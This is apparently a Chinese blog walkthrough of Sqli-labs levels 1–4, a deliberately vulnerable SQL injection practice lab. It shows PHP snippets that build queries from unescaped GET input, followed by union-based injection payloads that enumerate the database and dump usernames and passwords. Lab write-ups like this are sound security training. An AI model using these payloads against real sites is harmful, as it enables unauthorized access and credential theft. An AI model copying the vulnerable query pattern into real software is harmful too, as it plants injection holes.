前言

之前暑假闯了很多关但是最近刷BUGku的题 遇到SQL注入题就凉。。。 垃圾的我只能继续硬着头皮重新再来学习,再来闯。

第一关:字符型注入

字符型注入就是注入点的数据类型是字符型。字符型注入与数字型注入的区别就是字符型注入要用一对双引号引起来。
字符型注入代码示例:

1 <?php
2 $id=$_GET['id'];
3 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
4 $result=mysql_query($sql)
5 $row=mysql_fetch_array($result)
6 ?>

payload:

 1 判断注入
2 ' and 1=1 %23
3 判断字段
4 ' order by 3 %23
5 判断位置
6 id=-2' union select 1,2,3%23
7 爆版本及数据库名
8 id=-2' union select 1,version(),database()%23
9 爆当前数据库下表名
10 id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
11 爆字段
12 id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
13 爆字段下的数据
14 id=-2' union select 1,group_concat(username,password),2 from users %23

第二关:数字型注入

数字型注入就是注入点的数据类型是数字型,没有用单引号引起来。数字型注入的示例代码:

1 <?php
2 $id=$_GET['id'];
3 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
4 $result=mysql_query($sql)
5 $row=mysql_fetch_array($result)
6 ?>

payload:

 1 判断注入(经过判断是数值型的很好注入 )
2 id=1 and 1=1
3 id=1 and 1=2
4 判断字段数量
5 id=1 order by 3
6 判断字段位置(这里需要改id=0或其他导致错误页面 才能显示位置)
7 id=0 union select 1,2,3
8 爆出数据库版本及当前数据库名称
9 id=0 union select 1,version(),database()
10 爆出当前数据库表
11 id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
12 爆出表忠的字段
13 id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
14 爆出字中的数据
15 id=0 union select 1,group_concat(username,password),3 from users;

第三关:基于错误的GET单引号变形字符型注入

核心代码:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

payload:

 1 id=2'报错分析出此sql语句有括号(
2 判断注入
3 id=2') and 1=1 %23 (根据报错信息看到 sql在)里面所以)
4 id=2') and 1=2 %23
5 判断注入我们发现 报错爆出 我们id后面的语句在括号里面所以我们要闭合括号进行判断 另外它是字符类型注入 所以我们要用注释 注释掉最后面的单引号
6 id=2') and 1=1 --+
7 id=2') and 1=2 --+
8 判断字段数量
9 id=2') order by 3 %23
10 判断字段位置
11 id=0') union select 1,2,3 %23
12 爆数据库表
13 id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
14 爆数据库表下的字段
15 id=0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
16 爆字段下的数据
17 id=0') union select 1,group_concat(username,password),3 from users --+

第四关:(基于错误的GET双引号字符型注入)

核心代码:

1 $id = '"' . $id . '"';
2 $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

payload:

 1 id=2" 双引号报错
2
3 id=2") and 1=1 --+
4 id=2") and 1=2 --+
5 id=2") order by 3 --+
6 id=-2") union select 1,2,3 --+
7 id=-2") union select 1,database(),version() --+
8 id=-2") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
9 id=-2") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
10 id=-2") union select 1,group_concat(username),group_concat(password) from users --+

重闯Sqli-labs关卡第一天(1-4关)的更多相关文章

  1. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  2. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  3. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  4. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  5. 重闯Sqli-labs关卡第二天(5关)

    第五关(双注入GET单引号字符型注入-报错时间注入) 盲注盲注,Blind SQL Injection基于布尔SQL盲注基于时间的SQL盲注基于报错的SQL盲注 核心代码:(不会返回数据库中的数据) ...

  6. 重闯Sqli-labs关卡第三天(11-15关)

    前言 今天早上学了学网易云课堂的注入课程突然感觉网易云可i春秋联合出品的课程还不错,之后就刷了刷攻防世界的题,题有眉目但是还是忍不住看了WP 服了自己了!!!一直刷到了晚上也不知道几点我妈买了柚子回了 ...

  7. 重闯Sqli-labs关卡第三天(6-10关)

    第六关(双注入GET双引号字符型注) 核心代码: 1 $id = '"'.$id.'"'; 2 $sql="SELECT * FROM users WHERE id=$i ...

  8. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  9. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

随机推荐

  1. Redis入门之认识redis(一)

    第1章 非关系型数据库 1.1 NoSQL数据库概述 1) NoSQL(NoSQL = Not Only SQL ),意即"不仅仅是SQL",泛指非关系型的数据库. NoSQL 不 ...

  2. hdu3555 Bomb (数位dp入门题)

    Bomb Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 131072/65536 K (Java/Others)Total Submi ...

  3. 剑指offer——2

    剑指offer 机器人的运动范围 数组的应用和递归 package com.wang.test; public class Myso { /** * 题目描述 * 地上有一个m行和n列的方格.一个机器 ...

  4. web应用部署(Tomcat,springboot部署方式)

    转载自:https://www.cnblogs.com/haimishasha/p/10791454.html 核心内容 1.在Tomcat中有四种部署Web应用的方式,分别是: (1)利用Tomca ...

  5. Java线程知识拾遗

    知识回顾 进程与线程是常常被提到的两个概念.进程拥有独立的代码段.数据空间,线程共享代码段和数据空间,但有独立的栈空间.线程是操作系统调度的最小单位,通常一个进程会包含一个或多个线程.多线程和多进程都 ...

  6. OpenCascade拓扑对象之:Face的方向、参数域和曲面间的关系

    @font-face { font-family: "Times New Roman" } @font-face { font-family: "宋体" } @ ...

  7. java安全编码指南之:文件和共享目录的安全性

    目录 简介 linux下的文件基本权限 linux文件的特殊权限 Set UID 和 Set GID Sticky Bit SUID/SGID/SBIT权限设置 文件隐藏属性 特殊文件 java中在共 ...

  8. Kubernetes 1.13 的完整部署手册

    前言: 非常详细的K8s的完整部署手册,由于Kubernetes版本和操作系统的版本关系非常敏感,部署前请查阅版本关系对应表 地址:https://github.com/kubernetes/kube ...

  9. uniapp分享功能-系统分享

    uni-app分享 uniapp官网地址:https://uniapp.dcloud.io/api/plugins/share?id=sharewithsystem 调用系统分享组件发送分享消息,不需 ...

  10. docker部署redis主从和哨兵

    docker部署redis主从和哨兵 原文地址:https://www.jianshu.com/p/72ee9568c8ea 1主2从3哨兵 一.前期准备工作 1.电脑装有docker 2.假设本地i ...